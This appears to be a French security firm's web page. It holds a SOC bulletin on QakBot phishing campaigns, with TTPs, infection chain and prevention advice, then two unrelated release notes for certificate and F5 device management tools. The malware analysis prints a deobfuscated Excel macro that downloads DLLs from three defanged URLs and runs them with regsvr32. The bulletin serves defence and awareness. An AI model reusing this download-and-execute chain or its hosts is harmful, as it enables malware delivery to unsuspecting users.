Recrudescence des campagnes de Phishing QakBot

Recrudescence des campagnes de Phishing QakBot

Recrudescence des campagnes de Phishing QakBot

Ces dernières semaines, le SOC At-Defense a observé une recrudescence de campagne de phishing Qakbot chez ses clients. Ces attaques utilisent la dernière version du malware QakBot existante (Version :403.549, campagne : 1647248933).
Une sensibilisation des équipes techniques et des utilisateurs finaux permet de réduire le risque d’une compromission par ce malware difficilement détectable par les mécanismes usuels de défense (filtre mail, Antivirus/EDR, etc.)

Description de la menace

QakBot est un trojan bancaire connu également sous le nom de QBot ou Pinkslipbot. C’est un malware répandu, actif depuis 2007, comportant de nombreuses variations suivant les groupes d’attaquants et les différentes campagnes. Ce malware est le plus souvent utilisé par des groupes criminels à des fins financières.
Une compromission par QakBot entraine généralement les actions suivantes :

Exécution du malware :
Sur le poste infecté des opérations de reconnaissances automatisées sont réalisées dès l’exécution du malware permettant de récupérer des informations sur l’utilisateur, ses droits, les groupes auxquels il appartient ainsi que des informations sur le système et les réseaux telles que le nom de la machine, la configuration IP, la liste des disques ou encore la table ARP.
QakBot charge ensuite des modules complémentaires permettant d’obtenir des informations plus sensibles comme les identifiants des comptes bancaires, les e-mails ou encore les mots de passes de l’utilisateur.
Lorsque le malware a récupéré suffisamment d’informations sur la cible, l’accès sur le système infecté est revendu à d’autres groupes d’attaquants. Ces groupes d’attaquants utilisent d’autres malware comme les ransomware pour chiffrer le système cible.

Communication avec les attaquants :
La connexion avec le serveur commande et de contrôle est effectuée à intervalle régulier pour diverses opérations. Parmi ces opérations on retrouve notamment :

  • La récupération de la dernière version du malware
  • L’exécution de commandes à distance
  • Le chargement des modules supplémentaires

La liste complète des adresses IP des serveurs est directement dans le code du malware et varie en fonction des campagnes.

Objectifs sur la cible :
L’accès ainsi obtenu peut ensuite être utilisé pour réaliser différentes actions sur objectif en fonction de l’environnement.

  • Cela inclus par exemple la récupération des mails du poste infecté
  • Le vol des cookies des navigateurs web
  • L’exécution d’un keylogger

Ces attaques peuvent également déboucher sur des exfiltrations d’informations sensibles ou des déploiements de ransomware visant à corrompre toutes les données de l’entreprise.

Vecteurs d’infections et défense évasions

Les différentes analyses des derniers cas recensés par le SOC At-Defense révèlent que le vecteur d’infection principalement utilisé par ce malware est le phishing email.
Nous avons observé deux méthodes permettant à l’utilisateur ciblé de récupérer le fichier malveillant Office depuis l’email :

  • Via une pièce jointe directement dans l’email
  • Via un lien vers une plateforme de partage en ligne (OneDrive, Mega, …)

Dans ces deux cas, le fichier Office est compressé dans une archive protégée par mot de passe et le mot de passe est inclus dans le contenu de l’email.
Ce type de technique permet de passer outre les mécanismes d’analyses des emails.

Exemple :

Le fichier Office extrait contient le code malveillant sous la forme de Macro, les extensions utilisées peuvent varier en fonction des campagnes (Ex : docm, xlsm, xlsb, …).

TTP

Les techniques, les tactiques et les procédures permettent de contextualiser les actions effectuées par les charges malveillantes sur un système cible. Elles permettent également de mettre en place des règles de détection sur les équipements de sécurité.

Tactic ID Name Description
Defense Evasion T1027 Obfuscated Files or Information QakBot XLM files are obfuscated and sheets are hidden.
Defense Evasion T1027.002 Obfuscated Files or Information: Software Packing Every binary and config is obfuscated and encrypted using RC4 cipher.
Execution, Persistence, Privilege Escalation T1053 Scheduled Task/Job QakBot creates tasks to maintain persistence.
Execution, Persistence, Privilege Escalation T1053.005 Scheduled Task/Job: Scheduled Task QakBot uses this TTP as a way of executing every time the malicious DLL.
Defense Evasion, Privilege Escalation T1055 Process Injection QakBot uses Process Injection to load into the memory some payloads.
Defense Evasion, Privilege Escalation T1055.001 Process Injection: Dynamic-link Library Injection DLL injection is used to load QakBot via rundll32 Windows utility.
Collection, Credential Access T1056 Input Capture QakBot collects credentials and sensitive data from the victim’s devices.
Discovery T1057 Process Discovery QakBot performs process discovery.
Discovery T1082 System Information Discovery QakBot obtains the list of processes and other details.
Discovery, Defense Evasion T1497 Virtualization/Sandbox Evasion Anti-VM and sandbox techniques are used to evade detection.
Discovery, Defense Evasion T1497.003 Virtualization/Sandbox Evasion: Time Based Evasion Time-based evasion is checked during the malware run time.
Discovery T1518 Software Discovery A list of the installed software is obtained.
Discovery T1518.001 Software Discovery: Security Software Discovery Installed AVs and other security software are obtained.

Analyse approfondie

L’analyse suivante détaille la méthode permettant d’obtenir le cœur du binaire malveillant.
Le cas présenté ci-dessous est un fichier Excel au format XSLB récupéré sur OneDrive. Le fichier XLSB inclut des Macro v4 (XLM).
Ce type de macro permet d’exécuter du code directement dans les cellules du fichier Excel, exemple :

Dans notre cas le code n’est pas directement visible dans le fichier Excel car plusieurs couches d’obfuscations ont été ajoutées pour accroitre la difficulté d’analyse.
Dans un premier temps les feuilles Excel contenants le code malveillant sont cachées :

Ensuite, les lignes de codes sont coupées dans des sous-cellules :

Le code malveillant est reconstruit dans les cellules de « QQDQ à QQDQ7 » :

Le code final réassemblé est le suivant :

[QQDQ]=CALL(« Kenel32″, »CeateDiectoyA », »JCJ », »C:\Bduc »,0)
[QQDQ1]=CALL(« ulmon », »URLDownloadToFilA », »JJCCBB »,0, »hxxps://mustafaksoy.com/UMWPpecHvg/gmkox.png », »C:\Bduc\xel1.dll »,0,0)
[QQDQ2]=EXEC(« regsvr32 C:\Bduc\xel1.dll »)
[QQDQ3]=CALL(« ulmon », »URLDownloadToFilA », »JJCCBB »,0, »hxxps://britcap.com/S4ABFgxnWO/gmkox.png », »C:\Bduc\xel2.dll »,0,0)
[QQDQ2]=EXEC(« regsvr32 C:\Bduc\xel2.dll »)
[QQDQ5]=CALL(« ulmon », »URLDownloadToFilA », »JJCCBB »,0, »hxxps://autoplacasdilger.com.br/ECg8m6oX27/gmkox.png », »C:\Bduc\xel3.dll »,0,0)
[QQDQ6]=EXEC(« regsvr32 C:\Bduc\xel3.dll »)
[QQDQ7]=RETURN()

Ce code télécharge et exécute 3 DLL malveillantes de QakBot.

Les DLL obtenues sont des binaires développés en Delphi incluant du code non utilisé par le malware.

L’objectif de ce supplément de code est d’accroître la difficulté d’analyse par les antivirus, car la grande majorité du code est légitime.

L’analyse des sections du code, révèle la présence d’une ressource non signée :

Cette ressource est chargée dynamiquement par la DLL puis déchiffrée à la volée dans une zone mémoire.

Le code malveillant injecté est ensuite exécuté.
Ce premier bout de code malveillant est utilisé pour créer un nouveau Thread. Le code malveillant est réinjecté et exécuté depuis le nouveau Thread.
La fonction dans le Thread vérifie si la machine est utilisée pour le développement du malware. Cette vérification est faite par la présence du fichier suivant :

« C:\\INTERNAL\\__empty »

Dans le cas où ce fichier existe le malware ne s’exécute pas. Cette fonctionnalité permet donc d’utiliser ce répertoire comme un « killswitch » du malware et ainsi éviter une contamination.
A ce stade nous disposons du cœur du malware QakBot, ce cœur varie en fonction des campagnes. Cependant le début est souvent le même :

1. Lancement d’un binaire légitime présent dans « C:\Windows\System32 », dans notre cas « explorer.exe ».

2. Création d’un thread dans un état suspendu dans le processus « explorer.exe »
3. Ecriture du code malveillant dans la mémoire du Thread distant du processus « explorer.exe »

4. Passage du thread en mode actif

Notre version ci-dessus créer une tache planifiée pour la persistance sur le système, ajoute des exceptions pour l’antivirus « Windows Defender », puis se connecte aux serveurs de commande et de contrôle pour signaler l’infection du poste.
Une fois les informations remontées au serveur de contrôle, le malware télécharge des modules supplémentaires sur le serveur de contrôle et les exécutes sur le système cible.
Le nombre de modules augmente et se complexifie au fil des campagnes.
Exemple des modules :

  • Collecte des informations sur la machine infectée
  • Collecte des informations d’identification : Identifiants Windows / Identifiants des naviguateurs web
  • Collecte des emails

Prévention et awareness

Le vecteur initial étant du phishing, les utilisateurs finaux jouent un rôle majeur dans la lutte contre cette menace.
Toutefois des actions techniques peuvent également être mises en place afin de réduire le risque de compromission.

Filtrage et analyse mail :
Il est difficile de se prémunir des mails propageant QakBot car les pièces jointes sont généralement chiffrées par un mot de passe ce qui empêche l’analyse dynamique. Il est cependant possible par exemple d’ajouter un bandeau d’avertissement lorsque l’email est reçu depuis l’extérieur de l’entreprise.

Sensibilisation des utilisateurs :
Les utilisateurs doivent être sensibilisés au risque de l’exécution des macros d’un fichier Office (Word, Excel…).
De plus les utilisateurs doivent être informés sur le risque de télécharger des archives (.zip, .7z…) chiffrées avec un mot de passe sur internet. Cette méthode d’envoi de malware est très connue et répandue car elle permet de contourner les dispositifs d’analyse antivirus présents au niveau de la passerelle mail.

Bonne pratique de sécurités :
Enfin l’application de bonnes pratiques de sécurités peuvent permettre d’empêcher, de bloquer ou de détecter et contenir l’attaque au plus tôt. Cela inclus par exemple l’utilisation d’un antivirus avec une composante EDR à jour ainsi que l’utilisation d’un SOC intégrant les derniers indices de compromissions.

Le SOC AT-Defense dispose de règles de détections efficace et éprouvée face à cette menace permettant une détection avant même la phase d’exécution.

Release Notes – SSL Cert

Release Notes – SSL Cert

Release Notes – SSL Cert

Version : v.2.0.0

Release Date : 24.01.2022

Cette version introduit une fonctionnalité majeure et de nombreuses améliorations par rapport à celles existantes. Nous avons intégré le protocole ACME pour prendre en charge la génération et le renouvellement des certificats. Il existe de nombreuses améliorations pour la gestion des certificats ainsi que l’introduction du serveur de licences.

 

Nouvelles Fonctionnalités

ACME
Module ACME

Le plus grand changement dans cette version est l’introduction du nouveau menu : ACME. Son but est de permettre de générer, renouveler et déployer automatiquement des certificats en utilisant le protocole ACME.
Le menu principal offre une vue d’ensemble sur tous les objets ACME configurés qui incluent les informations les plus importantes, telles que l’heure et le statut de la dernière exécution, la date de création et d’expiration du certificat. Le menu déroulant permet de déclencher la génération du nouveau certificat, de le visualiser ainsi que de télécharger le certificat et la clé privée. Pour automatiser encore plus le processus, l’obtention du certificat peut être déclenchée automatiquement à un moment choisi avant la date d’expiration du certificat actuel.
Lors de la configuration d’un nouvel objet ACME, nous pouvons configurer des scripts personnalisés non seulement pour valider le défi, mais également pour déployer le certificat généré sur un serveur. La dernière étape de la configuration permet de configurer les notifications.
Les certificats générés sont automatiquement ajoutés à la vue Certificats et pour les rendre visibles, ils sont clairement marqués comme « Importés (ACME) ».

Intégration iScript

Le Playground iScript a été introduit pour aider les utilisateurs à préparer et à tester des scripts qui seront utilisés dans d’autres parties du logiciel. Actuellement, le principal cas d’utilisation d’iscript est d’activer des opérations personnalisées pour valider le défi ACME et de déployer le certificat généré.

Intégration du Vault

Vault est destiné à stocker en toute sécurité tout type de secrets. Nous avons également créé une bibliothèque iscript qui fournit un moyen sûr d’utiliser des mots de passe dans des scripts. Par exemple, lors du déploiement d’un certificat via une connexion SSH, on peut utiliser un mot de passe stocké dans le coffre-fort au lieu de l’écrire dans le script en utilisant du texte brut.

Serveur de licence

Le serveur de licences a été intégré, ce qui signifie qu’à partir de maintenant, certaines fonctionnalités avancées ne seront disponibles que pour les utilisateurs disposant d’une licence valide. Toutes les fonctionnalités précédentes restent gratuites et la première fonctionnalité sous licence est le nouveau module ACME.

Améliorations

Historique des certificats

Chaque fois que le certificat est mis à jour, sa version précédente est enregistrée et peut être affichée dans un nouvel onglet de la vue Certificat. La vue détaillée de la nouvelle version peut être inspectée dans un tableau où elle est comparée à la précédente. Tous les changements sont mis en surbrillance pour faciliter l’identification des différences.

Notifications

En plus d’informer les utilisateurs des certificats qui sont sur le point d’expirer, il est désormais également possible de configurer des notifications pour les modifications et les problèmes de certificat. En plus de cela, toute la chaîne de certificats est analysée pour détecter également l’expiration des certificats intermédiaires.

Correctifs

  • Les certificats dans PEM n’étaient pas visibles en raison d’une mauvaise fonction utilisée pour l’appel API
  • Paramètres/Exportation planifiée – un texte incorrect s’affichait dans l’info-bulle du bouton (+)
  • Le bouton « My Accounts » redirigeait vers des comptes internes au lieu d’un compte public.
Release Notes – Device Manager

Release Notes – Device Manager

Release Notes – Device Manager

Version : v.2.2.0

Release Date : 31.01.2022

Dans cette version, nous introduisons de nouvelles fonctionnalités telles que la gestion des QKViews et des data groups, ainsi que des améliorations sur les iRules. Le menu des devices a été peaufiné visuellement et nous avons amélioré les performances des menus « Local Traffic » et « Where Used ».

 

Nouvelles Fonctionnalités

QKViews

Les QKViews sont nécessaires lorsqu’il s’agit de résoudre un problème d’un device F5. C’est pourquoi, ils peuvent maintenant être facilement générés directement à partir de la vue « Devices ». Après avoir déclenché la création du qkview, il apparaîtra dans un tableau avec le statut, la taille et la date de création. Selon la taille, le processus de génération peut prendre quelques minutes. Lorsque l’état passe à « Success », il est possible de télécharger le fichier qkview.
En arrière-plan, le fichier est d’abord créé sur un device F5, puis téléchargé sur le stockage local du « Device Manager » et enfin supprimé du device F5.

Data groups

Les data groups sont situés dans le menu « Local Traffic » dans un nouvel onglet. À partir de cet onglet, nous pouvons facilement afficher et gérer les data groups. Pour l’instant, seuls les data groups « internes » sont pris en charge.
Comme les autres objets Local Traffic, ils sont organisés dans un tableau qui permet la recherche et le filtrage. Il est possible d’ajouter un nouvel objet data group ainsi que d’afficher, de modifier et de supprimer ceux qui existent déjà.

iRules

La vue iRules a été améliorée en permettant plus d’opérations sur les iRules existantes et la possibilité d’en créer de nouvelles. Désormais, vous pouvez également les modifier ou les supprimer facilement.
L’historique des modifications est conservé et, si nécessaire, l’iRule peut être restaurée à l’une des versions précédentes. Pour que tout reste propre et net, les anciennes versions qui ne sont plus nécessaires peuvent être supprimées. Il est important de noter que tous les changements qui se produisent à partir du Device Manager sont toujours conservés, mais cela n’est pas garanti avec des changements provenant d’ailleurs. Les iRules sont récupérées périodiquement et si plusieurs éditions se produisent entre cette période, seule la dernière sera visible dans l’historique.
La dernière amélioration sur les iRules est la prise en charge des tags dans l’action « Send to… » pour permettre l’envoi de l’iRule dans un ensemble de device F5.

Améliorations

Devices

Le menu « Devices » a reçu quelques améliorations :

  • Les alertes de sécurité peuvent être triées et filtrées,
  • La date dans la cellule « Backed up » est bien formatée,
  • Le petit bug qui provoquait l’affichage d’un statut erroné du device est maintenant corrigé.

Tâches

Lorsqu’un iscript est exécuté à partir d’une tâche, ses journaux sont désormais imprimés à la fois dans les logs d’exécution des tâches et dans les logs des applications. Avant, ils n’étaient imprimés que dans les logs applicatifs. Grâce à ce changement, il est maintenant plus facile de trouver le problème en cas d’échec de l’iscript.

Performance

Nous avons remarqué que pour de nombreux devices avec un grand nombre d’objets LTM, le menu Local Traffic peut devenir lent. Pour améliorer l’expérience utilisateur et économiser certaines ressources, nous avons amélioré la pagination et cessé de charger les données qui ne sont pas directement visibles dans les tableaux. Seule la visualisation des détails d’objets spécifiques récupère des informations complètes – par exemple, seule une liste d’iRules contenant des noms, des noms de devices et des partitions est récupérée et après avoir cliqué sur « afficher » ou « modifier », son code et son historique sont récupérés.
Une autre amélioration des performances se trouve dans le menu « Where Used ». Ici, les requêtes sont déclenchées de manière asynchrone pour chaque appareil. Pour éviter de surcharger à la fois le côté serveur de l’application et un navigateur, en déclenchant trop de requêtes à la fois, elles sont mises en file d’attente et seules quelques-unes d’entre elles peuvent s’exécuter simultanément.

 

Correctifs

  • Dans le menu « Where used » les résultats sont parfois erronés
  • Les politiques ASM étaient parfois écrasées, ce qui faisait que seules celles du dernier device étaient visibles
  • Problème de navigation dans les onglets pour les utilisateurs sans autorisations complètes.
fr_FR